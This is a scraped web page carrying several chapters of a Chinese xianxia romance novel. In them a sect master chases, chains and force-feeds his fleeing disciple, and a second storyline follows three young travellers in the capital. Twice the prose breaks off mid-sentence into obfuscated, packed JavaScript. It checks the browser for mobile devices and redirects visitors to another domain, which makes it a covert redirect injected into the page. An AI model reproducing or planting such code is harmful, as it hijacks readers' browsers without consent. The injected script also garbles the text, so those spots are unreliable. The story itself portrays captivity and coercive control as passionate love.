嘴里不停地念叨着:“乖乖放弃无情道,投入为师怀抱不好吗?”目光紧紧锁住她,像是要将她看穿,见后者仍在顽强抵抗,眉头紧皱,脸上闪过一丝狠厉:“既然你执迷不悟,那就别怪为师狠心!”加大了阵法攻势,周围的空气都被搅得嗡嗡作响。 白衣到最后染成血衣,手中的血顺着剑刃滴落,尹星灯紧盯着剑雨中心的林瑶,她脸颊上都带了几道伤痕,还要加码的手不由一顿,没想到林瑶趁他分神找准空隙杀出剑阵,在他眼皮子底下跑了!硬生生在琅嬛古城杀出了一条血路。 眼睁睁看着她浑身是血却如疯魔般杀出重围,尹星灯又惊又怒:“你!” 脸上的肌肉因愤怒而微微抽搐,双眼通红,仿佛要滴出血来:“很好,跑?你跑得出我的手掌心吗?” 他身形一闪,立刻追了上去。一路上,弟子们见掌门跟疯了一样御风破空,向着西城门方向追去,都吓得纷纷避让。 林瑶身受重伤根本跑不远,衣衫滴滴答答往下流血,吓得路上行人抱头鼠窜,她提着剑慌不择路地逃亡,尹星灯在后面紧追不舍,眼中满是癫狂与执着:“别跑了,乖乖停下!” 他的声音在林瑶身后回荡,带着不容抗拒的威严:“你身负重伤,能跑到哪里去?” 见她仍不停尹星灯加快了速度,眨眼间便快要追上:“停下,跟为师回去,为师不会再逼你。”语气中竟带上了一丝哀求,但眼神里的疯狂却丝毫未减。 林瑶知道自己走不了了,回身拿剑指向他,眸带恨意,斩钉截铁:“绝无可能。” 尹星灯脚步一顿,眼中闪过一丝痛苦,像是被她眸中的恨意狠狠刺痛:“为何……”脸上的癫狂稍稍褪去,换上了一副受伤至极的神情,缓缓朝她走近,全然不顾剑尖正对着自己心口:“为师对你一片真心,你为何如此恨我?”声音微微颤抖,带着几委屈与不甘,伸出手想要触碰她,却又在半空中停住。 林瑶似乎也被尹星灯的神色刺痛,脑海中是往昔种种,心脏处传来尖锐的疼痛,仿佛被一只野兽撕咬啃食着……真没想到,有一天师慈徒孝的两人居然要刀兵相见,为的居然是这般荒唐的理由? 许他不仁,不许我不义,也罢,也罢!我索性死在他面前也就得了! 想到这里林瑶反提剑柄,利刃架在了自己肩上,一脸决绝:“让我走!” 尹星灯瞬间瞪大双眼,脸上满是惊恐,脚步猛地顿住,双手下意识抬起,做出阻止的动作:“别!”声音尖锐得变了调,脸上的血色瞬间褪尽,惨白如纸,更多的却是对她的愤恨,“你若敢死,为师不介意将你制成傀儡,日日夜夜伴我左右!” 林瑶听了这话,握剑的手一抖,脖颈上出现一条血线。 尹星灯目眦欲裂,态度软了下来:“好……好!为师让你走,把剑放下!”他心急如焚,额头上布满了汗珠,生怕她一个冲动造成不可挽回的后果。 林瑶嘴唇苍白,轻轻念了三个字,不多时远处有哒哒的马蹄声响,一匹如雪似玉的白马四蹄生风跑至林瑶面前,后者艰难地爬上马背,身上鲜血染红了白马的毛发,轻轻拍它脑袋:“驾!” 眼睁睁看着她决然离去,尹星灯满脸的难以置信与绝望,双手紧紧握拳,手背上青筋暴起。 “不……”声音低沉,像是从牙缝中挤出来一般,眼中满是不甘。 见白马撒开蹄子飞奔而去,尹星灯身形一闪,欲追上去,可刚迈出一步,又生生停住,脸上痛苦之色愈发浓烈:“不……别离开……”他无力地喃喃自语,如同至关重要的东西被人从身体里抽离。 白马带着林瑶飞奔,踏过浅溪,她的意识越来越模糊,死死抱着白马的脖子,最后昏迷过去滚下马背落入水底,身上鲜血染红了溪水,白马围着她咴咴嘶鸣,焦急地转来转去。 尹星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不愿!”她声冷如冰,提气喊了这么一嗓子,呛得咳嗽连连,通红的眼眸倔强地盯着他。 尹星灯像是被重重一击,身子晃了晃,脸色苍白到几乎透明。双眸中的痛苦如潮水般翻涌,他死死地盯着她,像是要将她看透:“为何如此绝情……”颤抖的声音中夹杂着一丝哽咽,肩膀颓然一垮,“我究竟是哪里做得不好?你说,为师改……”他伸出手,想要触碰她,却又在半途停住,一代国师竟是如此卑微,这与他平日的狂傲判若两人。 “你哪里都好,可我就是不愿。”林瑶撇过了脸不去看他,她素来心软,禁不住别人苦苦哀求,可就像宫玄烛说的,泥人也有几分脾气,再怎么温婉良善也不该拿自己的前途做慈善。 尹星灯听闻此言,双手无力地垂下。脸上的神情复杂极了,有痛苦、不甘、还有深深的无奈。他缓缓站起身,身形竟有些踉跄,仰头看向天空,眼眶泛红,仿佛在问林瑶又仿佛在喃喃自语:“这到底是为什么……” 就在林瑶以为他要放弃了,刚松了口气就见尹星灯突然又低下头,死死瞪着她,天光炫目,她看不清他的面容,只觉得那两点寒眸如冰火两重天,执拗,如同风暴般摧毁一切: “瑶儿,你为何要一而再再而三地逼我……不愿么?不欢喜么?由得了你?我偏要勉强,与你纠缠不清!与你日久生情!” 随着这句话重重砸下,他周身气息也变得阴冷起来。 24. 国师突发恶疾 林瑶被他带回去后锁进了地宫,左右两侧的青铜狮鹫嘴里吐出黑色锁链,两只铁环锁着她的双手,纤细的脖颈、细软的腰肢也同样被锁链禁锢着,如同金鸟落樊笼。 尹星灯的眼神冰冷且决绝,看着再也无力挣扎的徒儿,脸上没有一丝怜悯,只有满满的轻松,素手在广袖下渐渐收紧,真好,现在每时每刻、随时随地都可以看见了,而不用借着授课指导的由头。 他满意地看着自己的俘虏,宣布道:“从今日起,你就乖乖待在这里。别再想着逃离,这铁链是用上好的玄铁打造,还施加了多重禁制,你挣不开的。” 空旷的地宫里只有他走来走去的脚步声,林瑶不置一词,冷眼看着他演独角戏。 尹星灯显然不在乎她心里怎么想自己,只要人在他手里就行,轻轻吸了口气,缓缓走到她面前,蹲下身伸手轻轻抚摸她柔滑细腻的脸庞,眸中露出一丝震颤。 颤抖着收回手,别过脸艰难地换过一口气,耳尖涌上一丝绯红。 “我早该这样了……瑶儿,你要明白,只有我能陪着你,也只有我能给你想要的一切。”他说着,脸上浮现一抹苍白无力的笑意,眸中却仿佛有火焰在熊熊燃烧,等什么时候这心火烧毁了自己也该伤到林瑶了。 玄铁压制着林瑶的灵力,她形同凡人,却冷着脸不吃不喝,绝食抗议。 尹星灯端着精心准备的膳食走进地宫,看到她虚弱的模样,眉头瞬间皱起,眼神中闪过一丝心疼与无奈。 “何苦这般折磨自己?”将食盒放在一旁,走到她身边半蹲下来,伸手轻轻抬起她尖瘦的下巴,迫使她看向自己。 “吃点东西,别饿坏了身子。”语气中带着一丝哀求,可林瑶却偏过头,不愿看他,这一举动让他眼中闪过一丝恼怒,“为师那些手段,难道你还想试试!”声音陡然提高,带着一丝威胁的意味。 林瑶听闻这话嘴角勾起一丝轻蔑的笑意,仿佛在说“随便你吧,有能耐杀了我。” 尹星灯气得猛站起身,双手握拳,来回踱步,脸上满是阴鸷:“你这是在逼我动粗吗!”突然停下脚步,恶狠狠地盯着她,随后又深吸一口气,强行压下怒火,重新半跪到她身旁。 “瑶儿……”声音放柔,带着讨好的意味,拿起一块糕点递到她嘴边,“这是你平日最爱吃的蝴蝶酥,尝尝……”眼神中满是期待,可林瑶依旧不为所动,紧闭着双唇。 “很好!”尹星灯眼中闪过一丝狠厉,掐着她的下颌将糕点硬往她嘴里塞。 林瑶被他折腾得鬓发散乱,眼眸通红,铁链一会儿放松一会儿绷直,叮叮当当的声音与师徒二人错乱的喘息声交织成一片,最后,林瑶用舌尖将嘴里的食物抵了出去。 看着糕点落地,尹星灯脸色瞬间变得铁青,额头上青筋暴起。他死死地盯着眼前的人,眼里满是疯狂与愤怒,双手猛地掐住她的肩膀,牙齿咬得咯咯作响,胸膛剧烈起伏着:“为何要如此抗拒我?我到底哪里对不起你!”脸上的肌肉因愤怒而扭曲,眼眶通红,如同受伤的野兽般咆哮着,“你就这么想激怒我?好,如你所愿!”说完,猛地站起身,一脚踢翻了食盒,饭菜洒落一地。 林瑶跪坐在一地狼藉中神色漠然,仿佛一切都与自己无关。 看着林瑶紧闭双眼,一副油盐不进的模样,尹星灯怒极反笑,笑声癫狂又悲凉。 “好……好啊……”他一边笑,一边在她身前踱步,深深吸了口气,“你以为闭着眼睛,就能躲开这一切?就能躲开我?” 他突然停下,俯下身,脸几乎贴到她脸上,在她耳边含情脉脉道:“你逃不掉的,永远都逃不掉……”说罢,直起身子,转身大踏步离开,走到门口时又猛地回头,眼中满是决绝,“你会屈服的,迟早有一天……”随后,大门被砰一声关上,声音在空旷的地宫中回荡。 不知过了多久,地宫大门再次被打开,尹星灯缓缓走了进来,手里端着一碗冒着热气的汤药。他的神色看起来有些疲惫了,半跪在她面前,轻声道:“这是疗伤的药,喝了吧。” 语气不再像之前那般强硬,竟带上了几分小心翼翼。见林瑶依旧紧闭双眼当作没听见,他轻轻叹了口气:“别再抗拒了,你本就重伤,再不吃不喝,神仙也救不了你……”伸手轻轻拨开她额前的碎发,顿生无力之感。 林瑶低垂着头,脸上苍白得没有一丝血色,拿一条残命跟他耗,似乎打算这样不吃不喝地熬到油尽灯枯。 尹星灯想到这里,眼眶瞬间红了,双眸中倒映的不再是林瑶,而是一条小鱼。 那条小鱼是潮汐宫一个小女孩送给林瑶的,林瑶很喜欢,可是深海的鱼离开了故土根本活不下去,为免徒儿伤心尹星灯使尽了浑身解数,可是那条鱼就是不吃不喝,哀怨的目光透过琉璃缸凝望着外面的世界,眼睛里透出死灰般的绝望…… 他一把将汤药碗重重放在地上,溅出的药汁洒在他的衣摆上,双手紧紧抓住她的肩膀,使劲摇晃着:“你看看我!看看我啊!” 力道之大几乎要把林瑶晃散架,声音带着哭腔,几近崩溃:“为什么要一心求死?为师到底要怎么做,你才肯好好活下去?” 他恨不得将自己的心掏出来给她看,或许她会知道他究竟有多痛苦,有多煎熬,他折磨了自己不知多久,还是克制不住汹涌的爱意,起先以为她只是害羞,于是他可以什么都不要,可以放下身段、抛去尊严地追在她身后,以为她迟早会有所回应,毕竟他是她师父,毕竟他很了解她的,毕竟……她曾经说过喜欢他的啊! 但她只用两个字就剖开了他的胸膛,冻结了他心底燃烧着的毁天灭地的情焰。 不愿! “难道非得让我死在你面前,你才甘心吗?”说到最后,声音已经沙哑得不成样子。 “让我走……”她一说话,干裂到粘连在一起的上下嘴唇被撕开,鲜血漫延过唇纹,凝固在皮肤上,如同化不开的宿怨。 尹星灯身子一僵,眼中闪过无尽的挣扎,双手不自觉地松开。他缓缓站起身,背过身去,肩膀微微颤抖。 “走……你就这么想走……”尹星灯的声音低沉得几乎听不见,仿佛用尽了全身力气。 可我……怎么舍得让你走?你若走了,让我怎么活? 指甲深深嵌入血肉里,却抵不上心里万分之一的疼,明明拼了命想对一个人好,却又伤到了她,也伤了自己。 他觉得自己的心是一湖水,里头仅仅游着一条叫做林瑶的小鱼,可这鱼儿却无时无刻不想着跳出湖面。 过了许久,他缓缓转过身,看向林瑶的眼神里,有决绝,更有痛苦。 一步步走到林瑶身边,颤抖着手解开她身上的铁链。每解一下,他的心就像被狠狠揪了一下。 “滚……” 他整个人仿佛苍老了几十岁,无力地瘫坐在地上,眼神空洞地望着前方。 林瑶摇摇晃晃站了起来,要真正离开星辰宫了,闹到这般地步,算是彻底撕破了脸皮,以后或许再无相见之日,可她居然一句话也不愿对他多说。 应该是恶心透了他吧。 尹星灯涩然一笑,眼睁睁看着她头也不回地走出地宫,眼神中满是不舍与绝望。嘴唇被咬得发白,渗出丝丝血迹。双手紧紧攥着衣角,指节泛白,“瑶儿……”声音微弱得如同蚊蚋,可林瑶却丝毫没有停留的意思。 他想要起身追上去,身体却仿佛僵在了原地怎么也动不了,不知何时,脸上满是泪痕,失魂落魄地喃喃自语,忽然觉得全身都很疼,却又不知道病根在哪里,茫然抬手按在了胸口,那片湖水大抵是在迅速地枯竭。 林瑶一刻也不敢多耽误,服下几枚灵丹恢复体力,强行运功逃离玄都。 尹星灯在原地呆坐许久,缓过神后肠子都悔青了,他怎么能放了林瑶! 发疯似地追出地宫,却早已不见她的踪影。他双眼通红,如同一头失去理智的凶兽,疯狂地四处寻找。飞身跃上半空,用星辰之力将整个琅嬛翻了个底朝天,却一无所获。他咬牙切齿,周身气息紊乱,对着长空愤怒地咆哮:“你到底躲到哪去了!”心里又急又气,想到林瑶可能就此彻底离开自己,整个人都快崩溃了。猛地一拳砸在身旁的影壁墙上,石壁瞬间化为齑粉。 “我赌错了……你怎能这般无情……” 缓了缓,嘴角重新勾起笃定的笑意,本来柔情似水的眸子里只剩下无尽的疯狂与偏执。 “我的瑶儿,你是不是忘了一件很重要的事啊?你会乖乖回来的……重新回到我身边……” 楚纤茉再次苏醒时,发觉自己身处一个陌生的地方,头顶是月白色纱幔,侧目望去,精致的卧室被一排水晶珠帘分隔为内外两间,透过珠帘空隙可以看到,西墙边是女子的梳妆台,菱花镜擦拭得一尘不染,槛窗半开,几簇枝叶横斜,丹纱吐蕊……青铜兽面炉上空,香烟冉冉升起,满室弥漫着淡淡的茉莉香。 楚纤茉蓦然惊觉,这地方对自己来说并不陌生,她以前是来过的。 隔壁传来轻轻的脚步声,一个身着绿衣,梳着双丫髻的女孩在卧室门口探头一看,惊喜地笑道:“楚姑娘醒了!” 不待楚纤茉说什么,那丫头已经欢欢喜喜朝门外跑了,脚步声渐渐远去,不一会儿就听见门口传来一个熟悉的声音。 “纤茉!” 一袭碧衣的少女闪入房间, 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楚纤茉看着对方神采飞扬的模样既为她高兴,心里也不免愁云惨淡,偏偏心大如苏潋影,察觉不到楚纤茉细微的情绪变化,还在滔滔不绝说自己的姐姐。 “阿姐将来可是要继承碧梧山庄的,爹和娘亲都说了,阿姐比我强百倍,他们都怀疑我不是亲生的,呵,我们明明长得差不多好不好,都怪他们把天赋都给了阿姐,不过也好,这样我就可以天天溜出去玩了,阿姐还要留在山庄管理大小事务,真是塞翁失马焉知非福……” 苏潋影说了半天忽然顿了一下,歪头看着楚纤茉,似乎想到了什么,眸中灵光乍现:“纤茉!你跟我一起去梵净山好不好!这样我们就可以一起拜师学艺了,将来一起成仙,多棒啊!我做梦都想御剑飞天!” 求仙问道? 不知仙人能否解开我心中的迷惘…… 楚纤茉这样想着,黯然握紧了拳头,心中渐渐燃起一团微弱的火苗,那或许是求生的欲望。 也好,即使是一个虚无缥缈的美好梦境,也足以给她继续前行的动力。 “苏苏,你什么时候出发啊?” 苏潋影开心地差点跳起来:“你答应了?太好了,我这就给阿姐回信!” 楚纤茉一愣,半天才开口:“说了半天,原来你姐姐没回来吗?” 苏潋影感觉莫名其妙:“没有啊,她前段日子才给我写信,要回来怎么也半个月后了。” 山庄里枫林连绵,红叶如血,片片落叶漂浮在蜿蜒曲折的池水中,与池底锦鲤相得益彰,瀑布飞涌,溪水潺潺,人在画中游,身边时不时路过身着绿衣的男男女女,自然都是碧梧山庄的弟子。 只见苏潋影越走越偏,最后干脆徒手攀上一棵参天枫树,唬了树下的楚纤茉一跳,急忙问道:“苏苏,你这是做什么?” 这一问急得树上的苏潋影连忙朝她挤眉弄眼,压低声音道:“别嚷别嚷,把那些人引来今天就走不了了。” 楚纤茉略一思索也就明白了,碧梧山庄门庭广阔却子嗣凋零,大小姐常年在外,结交各大玄门中人,在其中谋取利益。苏潋影作为幼女自然被家主和夫人疼成了眼珠子,平时都紧紧看住了,哪里肯让她独自出门,但是这二小姐并不是省油的灯,虽然脑残但理想远大,励志要成为姐姐的贤内助,故此时常怀着要闯荡江湖历练一番的豪情壮志。 苏潋影翻墙已经翻得很熟练了,很快就顺着枫树横生的枝干跳到了墙头,纵身一跃吓得楚纤茉心跳骤停,只听墙外传来轻轻的落地声,楚纤茉等了好久不见守后门的绿衣弟子有所动作,这才假装从容淡定、大大方方从后面走了出来,碧梧山庄的弟子自然不会阻拦她这个客人,反而是恭恭敬敬地问了好。 苏潋影在墙角等楚纤茉过来,拉着她的手往林间小路走去,脸上满是逃脱樊笼的喜悦之情,叽叽喳喳如同一只鹦鹉:“纤茉,我带你去个好地方,你知道雾山不?” 楚纤茉真诚地摇摇头:“那里雾气很大嘛?” 苏潋影恨铁不成钢:“有没有雾我不知道,但是有很多妖怪,那是妖族的领地。” “那你还去?”楚纤茉一时接受不了这么大的信息量,头脑有些眩晕。 苏潋影却还是一副跃跃欲试的表情:“放心吧,我已经提前做好部署了,而且不止我们两个人嘛,怕什么?” “还有谁?” “小白!” 苏潋影朝着林中喊了一声,半空中血色枫叶哗啦啦地飘落,一个白衣白发的少年随着翩跹的枫叶一起缓缓落在了地上。 少年的长相极其清俊柔美,生了一双宝石似的淡绿色瞳孔,一身白衣仿佛仙人临凡,楚纤茉却因为那双异于常人的眼睛而微微后缩。 25. 慧眼识蛇 “苏苏!” 少年几乎跳起来,眨眼间已经扑到了苏潋影怀里,带着一点鼻音不满地哼道:“你为什么这么久才来找我呀?” 苏潋影好不容易才把身上缠着的八爪鱼弄下来,轻轻拍了拍对方的肩头:“上次你不是说在雾山见到我阿姐了嘛,我打算去跟她汇合,给她一个大大的惊喜!你帮我们带路吧!” 楚纤茉听着她这大胆的想法,急得唇干口燥:“苏苏,我们还是在碧梧山庄附近走走吧,那可是妖族领地啊,很危险的,你可以在家等你姐姐啊。” 苏潋影不赞同地摇摇头:“纤茉,你别打退堂鼓嘛,我们很快就要去梵净山了,到时候这种历练只会多不会少,现在不见见世面,后面的考试我们岂不是很吃亏嘛?” 楚纤茉双手绞着衣袖:“可是梵净山的考试不会有生命危险啊,我们两个人就这样去雾山,万一——” 苏潋影拍拍旁边白衣少年的肩膀:“这不还有帮手嘛,正式介绍一下,白洛溪,千年大妖,我的好朋友。” 又揽住楚纤茉的肩膀向白洛溪介绍道:“楚纤茉,我最好最好最好的朋友!” 楚纤茉被千年大妖四个字冲击得回不过神来,眼前冒金星,而白洛溪却有些脸色难看,两只手牢牢圈住苏潋影的胳膊,苏潋影年纪尚小,个头也不高,七尺男儿挂在她这么个小豆芽身上有点滑稽。 白洛溪却浑然不觉,目露哀怨地瞅着苏潋影,颇为委屈:“苏苏,为什么我不是你最好最好最好的朋友呢?你忘了吗,我们可是从小一起玩到大的……” 楚纤茉在旁边略显尴尬,问道:“你们是怎么认识的啊?” 白洛溪看着楚纤茉的眼神有些不快,也存了炫耀的心思,从头到尾把两人相遇的来龙去脉说了一遍,语气颇为洋洋得意道:“当年我还是一条小白蛇,在山下的稻田里睡觉,被一个愚蠢的农夫捡了起来,他居然拿我当绳子用来捆稻子!我被他抻得老长老长了,脖子和尾巴被系到了一起,就在我快窒息的时候,是美丽善良且慧眼识蛇的苏苏救了我!” 楚纤茉心道:这故事我好像在哪儿听过…… 苏潋影不好意思地摸摸鼻子,低声道:“其实我当时也以为你是条白到发光的绳子,打算跟农夫换到手,回去绑秋千架来着……” 白洛溪蹲在地上,将脸埋在膝盖上自闭了好一会儿,苏潋影站在旁边双手叉腰,哄了老半天,恨不得收回刚才那句话:“喂?你还要我说多少遍啊?” 白洛溪声音闷闷地道:“我不叫喂,我是蛇……” 苏潋影顺着他的话:“那个蛇,你到底走不走?不然我把你丢这了,三——” 白洛溪蹭一下站了起来,力道没把握好,脑袋撞到了树杈,疼得龇牙咧嘴。 苏潋影踮起脚伸长了手臂替他取下了头发上的树叶,不由咋舌:“长这么高干嘛,吃什么长大的,是朋友给我推荐一下啊!” 白洛溪欲哭无泪,郁闷地揉着自己的脑袋,满脸的愤恨:“都怪那个愚蠢的农夫,把我抻长了……害我现在还要弓着腰跟苏苏说话,一点都不如小时候亲密无间。” 楚纤茉有些诧异地看着眼前两人:“千年大妖?你小时候怎么可能遇到苏苏?她才十四岁啊!” 白洛溪翻了个白眼,满是不屑:“怎么不能了,苏苏是在机缘巧合之下遇到我的,这就是缘分!” 他说到这里很是兴奋,转头又去瞅苏潋影,脸上满是期待:“苏苏,我听我姥姥说了,滴水之恩应当涌泉相报,当初我太姑奶奶被捕蛇的抓了,是一个小牧童救了她,后来她找到了小牧童以身相许过上了幸福美满的生活,苏苏,你希望我怎么报答你呀?” 苏潋影摸着下巴:“这个故事我听过,后来你太姑奶奶喝高了现了原形,把你太姑爷爷给吓厥过去了。” 白洛溪摆摆手:“过程都不重要,重要的是他们真心相爱啊!海枯石烂、至死不渝,苏苏想不想听后续?” “上次的鲁智深三打白骨精你还没讲完呢,听多了我容易混淆,先把那个讲完好不好,宋江到底什么时候把诸葛亮请回来?” 楚纤茉听得发晕:“不是,你听的是哪个版本的三打白骨精?我怎么闻所未闻?” 三人行,气氛颇为古怪,苏潋影却丝毫感觉不到,仍旧兴致勃勃。 一路向东南方向行进,穿过玄都就是雾山地界,妖族的领地。 按道理说,帝京不应该建在妖魔横行之地的附近,但因为,一来此乃祖宗基业,不能轻易舍弃,二来,玄都有星辰宫坐镇,妖族倒也不敢肆意妄为,这种微妙的平衡维持了大概四五百年,表面上仍是风平浪静。 楚纤茉、苏潋影都是没有来过玄都的,白洛溪这个土生土长在雾山的妖怪自然也没有,才一进城就被一片车水马龙、富丽堂皇的景象迷花了眼。 玄都作为帝京,自然是极尽奢华,房屋鳞次栉比、雕梁画栋,街道四通八达,来来往往的行人皆是穿绸裹缎、穿金带玉,男子手拿折扇步伐稳健,女子衣袂飘飘步步生莲,红楼粉墙中时时飘出轻柔的丝竹管弦之声,一派纸醉金迷之态。 三人正各自出神,冷不防前面街道一阵喧哗,打破了本来的宁静美好,一行身着紫衣、身后负着琉璃灯的人快速掠过,沿途不停地对路人进行盘查,此时与一个白衣女子起了冲突。 “星辰宫寻人,把面纱摘下来!” 姑娘气得跺脚:“你们还讲不讲理啦!都说了我这几天花粉过敏吹不得风,万一生病了你们付医药费啊!” 为首一人打量她许久,点点头:“身高、衣着都差不多,哼,来人,帮她把面纱摘下来。” 姑娘吓得连连后退,但已经被两个修士反剪了双臂控制住了,姑娘急得大喊:“你们干什么,来人呐!救命啊!” 苏潋影已经握紧了拳头,咬牙切齿:“简直是岂有此理!” 电光火石之间,一条长鞭腾空而起,鞭尾啪一下抽在那修士伸向白衣女子的手,那人惨叫一声缩回手,目露惊慌左瞧右看,很快锁定了一个身影。 那丫头一袭碧衣,双手叉腰,手里还提着长鞭,因为愤怒瞪着一双圆溜溜的杏眼,桃花包似的脸颊微微鼓起,长得瓷娃娃一般精致漂亮,但戾气却不小,一手叉腰一手拿鞭子指着他:“看什么看,你还不服是吧,再敢仗势欺人当心你的狗头!” 楚纤茉已经吓傻了,生怕苏潋影吃亏,急忙扯着她的衣袖,低声道:“差不多可以了吧,这可是京都,我们人生地不熟的难免吃亏……” 但白洛溪却在旁边煽风点火,抱臂冷哼道:“苏苏别怕,天塌了我给你兜着。” 星辰宫修士在玄都一向万人景仰,何曾受过如此羞辱,当即已经有几名弟子祭出了各自法器,为首青年修士面露凶光,缓缓取下背后魂灯:“哪里来的死丫头,敢管星辰宫的事,今天就让本仙师教教你规矩!” 眨眼间,原本暗淡无光的琉璃魂灯爆发出一片眩目的紫色光芒,似乎跟他左肩绵延至左胸口的银色星纹相互呼应着,点点星光连接起来是西方白虎七宿,只消看一眼便让人心神激荡,倾刻之间,街上原本熙熙攘攘的行人消失地无影无踪,太阳也隐藏在了乌云后面,街道上黑压压多了一群双目无神的怪人,与其说是人,不如说是怨灵,它们个个垂着眼,惨白的脸颊埋在藏污纳垢的乱发里,随着那修士一挥手中魂灯,怨灵们个个为之一振,眼睛里冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489958|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出诡异的红光,齐刷刷一扭头看向了苏潋影,下一刻如同咆哮的野兽一般朝她飞扑过来。 白洛溪眼神一凛,广袖一挥将苏潋影护在了身后,下一刻白影一闪如同一阵风般冲了出去,所到之处怨灵的哀嚎之声不绝于耳,青年修士惊愕之间居然忘了应对之策,下一刻,一只白皙修长的手掐住了他的脖子,那看似文弱的白衣少年将他整个人提了起来,细长的手指似乎下一秒就能插入他的血肉里,少年眸中绿芒乍现,微微一笑露出了两颗过分尖细的虎牙,回头对那碧衣女郎笑眯眯道:“苏苏,这家伙你想怎么处置,直接扭断他的脖子还是……” 青年修士能屈能伸,见势不妙立刻求饶:“少侠饶命,小的有眼不识泰山冒犯了几位,还请几位大人不记小人过,小的以后一定洗心革面重新做人!” 白洛溪将他扔在地上,拍了拍手里并不存在的灰尘,慢条斯理道:“放了你可以,自废修为吧。” 青年修士见他神色认真,立刻磕头如捣蒜,连连作揖:“少侠!女侠!小人不是故意仗势欺人的,这都是我们宫主的命令啊,小人都是奉命行事!” “你们宫主又是什么人?”苏潋影问道。 青年修士连忙道:“我们宫主是当朝尹国师!” 他本指望搬出尹星灯的名头震慑一下这帮不知天高地厚的愣头青,谁知那碧衣女郎一听柳眉倒竖,冷哼一声:“怪不得你们这么无法无天,感情你们主子也不是块好饼,上梁不正下梁歪!” 急得青年修士冷汗直流:“女侠,这其中是有缘故的,因为我们星辰宫有个女弟子叛逃,国师下令全城搜查,并非女侠想的那样。” “是吗?”苏潋影将信将疑地收了鞭子。 青年修士连忙点头:“千真万确,女侠若不信,小人可以带路,您大可以前往星辰宫亲自调查。” 白洛溪走近,低声对苏潋影耳语:“苏苏,强龙不压地头蛇,我们初来乍到不可贸然前去,你若真想查清此事我们可以暗中进行,没必要暴露自己。” 青年修士顿了半天见这三人要走,眼珠一转连忙道:“几位少侠,可否留下姓名?” 白洛溪回头冷笑道:“区区江湖散修罢了。” 青年修士见三人远去,从地上爬起来暗暗咬牙,恨声道:“待我回去禀报国师,你们就死定了!” 他摸出了一块留影石,嘴角勾起一丝阴险的笑意:“还好随身带了这个……” 举起留影石对准了前面三人的背影,输入了一丝灵力,留影石立刻光芒大盛,将三人的容貌特征全都留存了下来,他刚想将留影石收起来,手里忽然一空,留影石居然凭空消失了,这修士顿时吓出了一头冷汗,难道这三个人背后长眼睛了不成! 他身子僵直,颤颤巍巍地回头,看见了一道熟悉的身影,简直比见了苏潋影等人还惊恐,不免在心里哀嚎,今天出门明明看黄历了啊! 眼前是一袭鲛纱道袍的宫玄烛,拿着那颗留影石在手上把玩,抛到半空又稳稳接住,手心仿佛长了眼睛似的。 众修士连忙见礼,他们都是外门弟子,连称尹星灯一声师父的资格都没有,如何得罪得起这个内门师姐兼司天监少祭司,立刻齐齐恭声问好。 宫玄烛摆摆手,刚想让他们不必多礼,手里的留影石啪嗒一下掉在了地上,摔了个四分五裂。 “哎呀,不好意思啊手滑了,你这个留影石质量怎么这么差啊师弟,买到假冒伪劣产品了吧?来来来,师姐这儿有价值九品灵石的,拿着拿着别客气!” 青年修士欲哭无泪,你这才是假冒伪劣产品吧,再说了我拿个空白的留影石有个屁用! 一行人乌泱泱散去。 26. 河神文化发源地 城外,苏潋影等人本来在河边休息,白洛溪忽然站了起来,面色沉冷:“有人靠近了。” 楚纤茉也连忙拉着苏潋影站了起来,目光四下寻找却看不到白洛溪所说的不速之客,低声询问道:“不会是那群星辰宫修士吧?” 白洛溪将两人护在身后,眸中绿芒渐盛,警惕地看着四周,如临大敌,俨然不是刚才对上那些修士的散淡神态,其余两人也不由警惕了起来。 空气中似有叮叮当当珠玉碰撞的声音,很快,那个身影出现了,流光溢彩的黑纱遮住半张脸,嗓音淡漠中带着一丝慵懒:“还有心思喝水呢,追兵马上就到了。” 苏潋影、楚纤茉脸上同时露出欣喜的表情,异口同声道:“玄烛姐姐!” 宫玄烛一愣,莫名其妙就当姐了,而且一次性当了俩姐,属实让她有点振奋,摆摆手低咳一声:“免礼免礼……咳咳我是说,算了先谈正事吧,你们这次惹了个疯子,他一气之下可能会直接弄死你们,所以呢,建议你们现在各回各家各找各妈,懂我意思吧?不要扎堆跑,容易团灭。” 苏潋影好奇道:“就是你们那个国师?凭什么啊,他纵容手下调戏良家妇女,他还有理了!” 宫玄烛摊开手:“那你去告他吧,最好告个秋后问斩什么的,那将是上合天意,下合民心。” 苏潋影好奇地凑过去看她,脸上带着一股不可置信:“啊,你师父这么坏吗?” 宫玄烛点点头,发自肺腑道:“岂止是坏啊,人品差到人神共愤,以权谋私、骄奢淫逸、骚扰女弟子压榨劳动力,哪条拉出来都够他判几年了。” 苏潋影脸上的诧异渐渐化作深恶痛绝,气得狠狠跺脚,咬牙切齿道:“这个人渣!混蛋!我总算知道星辰宫的女弟子为什么要逃跑了,简直禽兽不如!等我回去一定要告诉阿姐,狠狠教训这个王八蛋!” 宫玄烛紧紧拉住苏潋影的手热泪盈眶,义愤填膺道:“小女侠,我们整个星辰宫的未来都寄托在你身上了,记住,只有你才能带我们脱离苦海啊!” 楚纤茉适时插话道:“玄烛姐姐,那你为什么不逃跑啊?” 宫玄烛噎了一下,摸摸鼻子,脸不红心不跳道:“我法力低微,逃不出他的魔爪的,再说了,我妻儿老小都在玄都,实在是跑得了和尚跑不了庙啊,唉……” 苏潋影握紧了小拳头,一脸坚定:“玄烛姐姐你放心,我们现在要去雾山找我阿姐,我阿姐可厉害了,她是万仙盟长老会的成员,一定能帮你们主持公道!事不宜迟,我们这就动身!” 